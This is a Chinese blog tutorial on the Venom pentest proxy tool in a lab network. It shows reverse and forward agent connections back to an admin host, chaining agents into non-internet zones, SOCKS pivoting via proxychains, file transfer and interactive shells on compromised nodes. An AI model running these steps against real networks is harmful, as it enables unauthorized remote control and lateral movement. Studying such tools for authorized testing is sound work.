前言
Venom 是一个非常好用的渗透代理工具,可以轻易的获得不同节点的 shell。这里的节点指的是连接了 admin 或某个节点的机器。并且还可以很容易的从不同 agent 节点连接到其它的 agent 节点。而且 socks 代理操作起来也显得极其简单。admin 节点是我们主要的攻击机器使用,而 agent 节点则常用于内网中的各个机器。还有支持端口复用的特点。唯一的不足就是不能用 &
将运行任务放到后台,容易 stop。
下面以该图为例子,其中假设 kali 和 external 的 eth0 为公网,dmz 和 internal 都不出网。
admin -> agent
反向连接
admin 节点监听
./admin_linux_x64 -lport 9999
agent 节点连接 admin
./agent_linux_x64 -rhost 192.168.244.137 -rport 9999
正向连接
先在 agent 节点上监听
./agent_linux_x64 -lport 9999
admin 节点上正向连接
./admin_linux_x64 -rhost 192.168.244.128 -rport 9999
agent -> agent
反向连接
只需要在 admin 的控制面板上监听即可
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
node 1
(node 1) >>> listen 9999
listen 9999
the port 9999 is successfully listening on the remote node!
然后在另一台机器上
./agent_linux_x64 -rhost 172.28.0.2 -rport 9999
即可将节点串联
(node 1) >>> show
A
+ -- 1
+ -- 2
正向连接
首先在目标机器上执行
./agent_linux_x64 -lport 9999
然后在控制面板的节点上用 connect ip port
命令即可 (使用 show
可以展示已经连接的节点)
(node 1) >>> show
A
+ -- 1
(node 1) >>> connect 172.28.0.3 9999
connect to 172.28.0.3 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 3
控制命令
在 admin 上输入 help 可以看到许多命令,也比较容易理解
(node 1) >>> help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
socks 代理
我们进入某个节点,输入 socks port,即可在 admin 的机器(kali) 上开启 socks 代理。比如我们先进入 external 的节点(node 1) 输入socks 1080
然后我们修改 /etc/proxychains.conf
末尾加一条 socks5 127.0.0.1 1080
即可
这个时候即可代理成功
而如果我们需要借助 dmz 代理访问 internal 则只需要进入到 dmz 的节点(node2) 输入另外一个端口,比如 socks 1081
此时修改 /etc/proxychains.conf
只需要是 socks5 127.0.0.1 1081
即可,而不需要构造代理链(是不是很方便?)
shell
我们不需要考虑什么正向代理或者反向代理,只需要在面板上去到某个节点输入 shell
即可获得一个交互式的 shell。可见,只要能上 Venom 的地方就已经相当于一个远控木马了。
结语
该工具还支持多个平台哟,还有没介绍的功能可以参考该项目